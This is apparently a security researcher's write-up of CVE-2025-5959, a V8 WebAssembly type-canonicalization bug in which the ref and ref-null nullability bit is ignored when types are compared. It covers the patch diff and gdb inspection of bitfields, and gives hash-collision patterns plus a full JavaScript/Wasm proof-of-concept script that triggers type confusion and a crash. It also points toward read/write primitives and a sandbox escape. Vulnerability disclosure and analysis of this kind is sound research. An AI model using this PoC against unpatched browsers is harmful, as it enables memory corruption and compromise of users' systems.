CVE-2025-5959

Linz Lv1

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
diff --git a/src/wasm/canonical-types.h b/src/wasm/canonical-types.h
const bool indexed = type1.has_index();
if (indexed != type2.has_index()) return false;
if (indexed) {
- return EqualTypeIndex(type1.ref_index(), type2.ref_index());
+ return type1.is_equal_except_index(type2) &&
+ EqualTypeIndex(type1.ref_index(), type2.ref_index());
}
return type1 == type2;
}

diff --git a/src/wasm/value-type.h b/src/wasm/value-type.h
return bit_field_ == other.bit_field_;
}

+ constexpr bool is_equal_except_index(CanonicalValueType other) const {
+ return (bit_field_ & ~kIndexBits) == (other.bit_field_ & ~kIndexBits);
+ }
+
constexpr bool IsFunctionType() const {
return ref_type_kind() == RefTypeKind::kFunction;
}

Before the patch, the comparison logic in CanonicalType::Equals() allowed two reference types like (ref T) and (ref null T) to be treated as equal if they shared the same index, regardless of their nullability or other distinguishing bits. This was because it only compared their ref_index() values:

1
2
3
if (indexed) {
return EqualTypeIndex(type1.ref_index(), type2.ref_index());
}

However, this behavior is unsafe. While two types may share the same canonical index, their bitfield flags (e.g., nullability) still matter. Treating them as interchangeable can lead to type confusion, particularly when a non-nullable reference is accessed assuming it can’t be null, while it’s actually coming from a (ref null T) context.

The Bitfield

The bit_field_ is a bit-packed field that encodes various properties of a WebAssembly value type. This is defined in src/wasm/value-type.h.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace value_type_impl {

using TypeKindField = base::BitField<TypeKind, 0, 2>;
static_assert(TypeKindField::kMask ==
(IsRefField::kMask | HasIndexOrSentinelField::kMask));
// For reference types, we classify the type of reference.
// Non-reference types don't use these bits.
using IsNullableField = TypeKindField::Next<Nullability, 1>;
using IsExactField = IsNullableField::Next<Exactness, 1>;
// For reference types, we cache some information about the referenced type.
// Non-reference types don't use these bits.
using IsSharedField = IsExactField::Next<bool, 1>;
using RefTypeKindField = IsSharedField::Next<RefTypeKind, 3>;
static_assert(RefTypeKindField::is_valid(RefTypeKind::kLastValue));

// Stores the index if {has_index()}, or the {StandardType} otherwise.
using PayloadField = RefTypeKindField::Next<uint32_t, 20>;

So the non-index bits on bit_field_ are this:

Field Bits Purpose
TypeKind 0–1 e.g., ref, primitive
IsNullable 2 nullable ref?
IsExact 3 exact subtype check (used internally)
IsShared 4 shared array
RefTypeKind 5–7 struct/array/func/extern etc.

To understand how this vulnerability works, we need to see how EqualValueType is reached and why it matters.

We can trigger the vulnerable logic by simply creating two semantically identical WebAssembly types in JavaScript — in this case, two function types that both take a ref null struct argument. Even though they appear identical, their internal representation in V8 may differ slightly at the bit level.

1
2
3
4
5
6
7
8
9
10
11
12
//Add struct types
const struct1 = builder.addStruct([
makeField(kWasmI32, true),
]);

const sig1 = builder.addType(makeSig([wasmRefType(struct1)], []));
const sig2 = builder.addType(makeSig([wasmRefType(struct1)], []));

const sig3 = builder.addType(makeSig([wasmRefNullType(struct1)], []));
const sig4 = builder.addType(makeSig([wasmRefNullType(struct1)], []));

const instance = builder.instantiate();

Using a gdb, we can inspect how V8 encodes the types internally. Let’s compare WasmRefType and WasmRefNullType bit representations after we set breakpoint on EqualValueType:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
WasmRefType
pwndbg> p type1
$1 = {
<v8::internal::wasm::ValueTypeBase> = {
static kNumIndexBits = 20,
static kLastUsedBit = 27,
static kIsRefBit = 1,
static kIsNullableBit = 4,
static kIsSharedBit = 16,
static kHasIndexBit = 2,
static kRefKindBits = 224,
static kRefKindShift = 5,
static kIndexBits = 268435200,
static kIndexShift = 8,
bit_field_ = 835
}, <No data fields>}
pwndbg> p type2
$2 = {
<v8::internal::wasm::ValueTypeBase> = {
static kNumIndexBits = 20,
static kLastUsedBit = 27,
static kIsRefBit = 1,
static kIsNullableBit = 4,
static kIsSharedBit = 16,
static kHasIndexBit = 2,
static kRefKindBits = 224,
static kRefKindShift = 5,
static kIndexBits = 268435200,
static kIndexShift = 8,
bit_field_ = 835
}, <No data fields>}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
WasmRefNullType
pwndbg> p type1
$3 = {
<v8::internal::wasm::ValueTypeBase> = {
static kNumIndexBits = 20,
static kLastUsedBit = 27,
static kIsRefBit = 1,
static kIsNullableBit = 4,
static kIsSharedBit = 16,
static kHasIndexBit = 2,
static kRefKindBits = 224,
static kRefKindShift = 5,
static kIndexBits = 268435200,
static kIndexShift = 8,
bit_field_ = 839
}, <No data fields>}
pwndbg> p type2
$4 = {
<v8::internal::wasm::ValueTypeBase> = {
static kNumIndexBits = 20,
static kLastUsedBit = 27,
static kIsRefBit = 1,
static kIsNullableBit = 4,
static kIsSharedBit = 16,
static kHasIndexBit = 2,
static kRefKindBits = 224,
static kRefKindShift = 5,
static kIndexBits = 268435200,
static kIndexShift = 8,
bit_field_ = 839
}, <No data fields>}

Now let’s analyze the bits different

1
2
3
bin(0x343) = 0b1101000011 //WasmRefType with index (0x343 >> 8) = 0x3
bin(0x347) = 0b1101000111 //WasmRefNullType with index (0x347 >> 8) = 0x3
//so same index here

Can see the difference is only 1 bit? yes the different is only on bit index 2. Here’s how bit_field_ is structured in V8 (bits 0–7 only):

Field Bits Result
TypeKind 0–1 1, 1
IsNullable 2 0 —> means not nullable
IsExact 3 0
IsShared 4 0
RefTypeKind 5–7 0, 1, 0 —> means struct

So, Our goal is to ensure that when the EqualValueType function is called, type1.bit_field_ = 0x343 and type2.bit_field_ = 0x347 (or vice versa).

Path of EqualValueType

Let’s explore what happens when we create two different structs: one using a non-nullable reference and the other using a nullable reference to the same type.

1
2
3
4
5
6
7
8
9
const $T = builder.addStruct([
makeField(kWasmI32, true),
]);

const ref = wasmRefType($T);
const refNull = wasmRefNullType($T);

const $structA = builder.addStruct([makeField(ref, true)]);
const $structB = builder.addStruct([makeField(refNull, true)]);

Unfortunately, these two structs should be treated distinct. That’s because they differ in their non-index bits (specifically, the IsNullable bit). Consequently, they produce different hash values and go down separate paths during canonicalization.

So, does this trigger EqualValueType? Sadly, No

Let’s look at the actual path that leads to EqualValueType:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
DecodeTypeSection

FinalizeRecGroup

TypeCanonicalizer::AddRecursiveGroup

AddRecursiveSingletonGroup

FindCanonicalGroup

std::unordered_set

std::__hash_table

std::equal_to

CanonicalGroup::operator==

CanonicalEquality::EqualType

CanonicalEquality::EqualStruct/Array/FunctionType

CanonicalEquality::EqualValueType

As shown above, EqualValueType is only reached after a hash collision, inside the equality check of canonical types. Since $structA and $structB have different hashes, they’ll never reach the EqualValueType check.

To reach EqualValueType, we must bypass the hash rejection step i.e, we need to forge a hash collision between two semantically distinct but structurally similar types.

This is exactly what was described in a past vulnerability report by Xion:

“…we must find two different recursion groups that are considered equal by CanonicalEquality, but which at the same time also have a hash collision when hashed via CanonicalHashing…”

The core idea is:

  • V8 uses std::unordered_set<CanonicalGroup> to store previously seen types.
  • The set relies on CanonicalHashing for fast lookups.
  • CanonicalHashing is based on MurmurHash64A, which outputs 64-bit values.
  • A Birthday Attack on a 64-bit hash requires ~2³² samples for a 50% chance of collision which is computationally feasible.

So, We can generate hash collisions by preparing many structurally “equal” types (according to CanonicalEquality) that differ only in the order or pattern of ref/ref null fields.

Example patterns:

1
2
addStruct([makeField(ref, true), makeField(refNull, true), ...]) //1
addStruct([makeField(ref, true), makeField(ref, true), ...]) //2

By repeating and permuting these patterns across >32 fields, and computing their hashes offline, you can:

  • Generate 2³²+ unique structs
  • Filter for those that collide under CanonicalHashing
  • Canonicalize two distinct struct types to the same index, thus bypassing the type system

This results in arbitrary Wasm type confusion, because a value of one type may be misinterpreted as another.
I won’t explain how the Birthday Attack works in depth here, you can easily ask an AI assistant to help you walk through it.

The Hash Collison:

1
2
1 1 1 0 0 0 1 0 0 0 1 1 0 1 1 1 1 1 1 1 1 0 1 1 0 1 0 1 1 1 0 1 1 1 1 1 1 0 0 1 1 0 0 0 1 0 1 1 0 1 0 1 1 1 1 0 1 1 0 1 0 0 0 1 0 
0 0 1 1 1 1 0 1 0 0 1 1 0 0 0 1 1 0 1 0 0 0 1 0 1 1 0 1 1 0 1 1 1 1 0 1 1 0 1 0 1 0 0 1 1 1 0 0 0 1 1 0 0 1 0 1 0 1 1 1 0 0 1 0 0

After we got the Hash Collision we can create the structA & structB using that pattern in result as you can see image below we got the type1.bit_field_ & type2.bit_field_ are different when EqualValueType called.
collision

PoC Crash

Now that we’ve crafted a hash collision between two structurally different types (structA and structB), let’s recap the key difference between the two types:

1
2
wasmRefType --> Can only stored object and can't be null (obj)
wasmRefNullType --> Can stored object and null ( obj | null )

We’ve found two types structA and structB that:

  • Have the same canonical type index (due to hash collision)
  • But differ semantically: structA[0] is of type (ref null T) while structB[0] is of type (ref T)

Then we can construct a WebAssembly function like so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

builder.addFunction('triggerCrash', makeSig([], []))
.addLocals(wasmRefNullType($structA), 1)
.addBody([
// Create an instance of structA
kGCPrefix, kExprStructNew, $structA,
kExprLocalSet, 1,

// Overwrite structA[0] with a `null` value
kExprLocalGet, 1,
kExprRefNull, $T,
kGCPrefix, kExprStructSet, $structA, ...wasmSignedLeb(0),

// Now treat the same object as structB
kExprLocalGet, 1,
kGCPrefix, kExprStructGet, $structB, ...wasmSignedLeb(0), // <-- type confusion
kGCPrefix, kExprStructGet, $T, 0, // <-- crash: deref null
])
.exportFunc();

What Happens Here?

  • structA[0] is allowed to be null, and we store null into it.
  • Later, we reinterpret the same object as structB, which expects a non-nullable reference at field 0.
  • So when V8 tries to access that null pointer, it results in a SIGSEGV (segmentation fault) — a native crash.

If we change the final StructGet to refer to $structA instead of $structB, like this:

1
kGCPrefix, kExprStructGet, $structA, ...

Then the WebAssembly engine correctly recognizes the nullable field, and throws a safe WebAssembly runtime error for null dereference no crash occurs.

With a working crash, we are just a few steps away from:

  • Building arbitrary read/write primitives
  • Gaining OOB memory access inside the V8 sandbox
  • Or potentially escaping the sandbox entirely

But since the issue is still under closed, I won’t share the full exploit chain here.

Full script crash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
load('../../test/mjsunit/wasm/wasm-module-builder.js');

const builder = new WasmModuleBuilder();


const $T = builder.addStruct([
makeField(kWasmI32, true)
]);

const ref = wasmRefType($T); // ref $T
const refNull = wasmRefNullType($T); // ref null $T

//hash collision
const patternA = [
1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0
];

const patternB = [
0,0,1,1,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,0,0,1,0,0
];

function makeFieldList(pattern) {
return pattern.map(b => b
? makeField(refNull, true)
: makeField(ref, true)
);
}


const $structA = builder.addStruct(makeFieldList(patternA), kNoSuperType, false);
const $structB = builder.addStruct(makeFieldList(patternB), kNoSuperType, false);


builder.addFunction('crash', makeSig([], [kWasmI32]))
.addLocals(wasmRefType($structA), 1)
.addBody([
...patternA.map(() => [
...wasmI32Const(0),
kGCPrefix, kExprStructNew, $T
]).flat(),
kGCPrefix, kExprStructNew, $structA,
kExprLocalSet, 0,


//Change the $structA[0] = null
kExprLocalGet, 0,
kExprRefNull, $T,
kGCPrefix, kExprStructSet, $structA, ...wasmSignedLeb(0),


//get the $structB[0] this will crashh since structB[0] is wasmRefType()
kExprLocalGet, 0,
kGCPrefix, kExprStructGet, $structB, ...wasmSignedLeb(0), //reference will be null
kGCPrefix, kExprStructGet, $T, 0,
]).exportFunc();



let instance = builder.instantiate();
let a = instance.exports.crash();

crash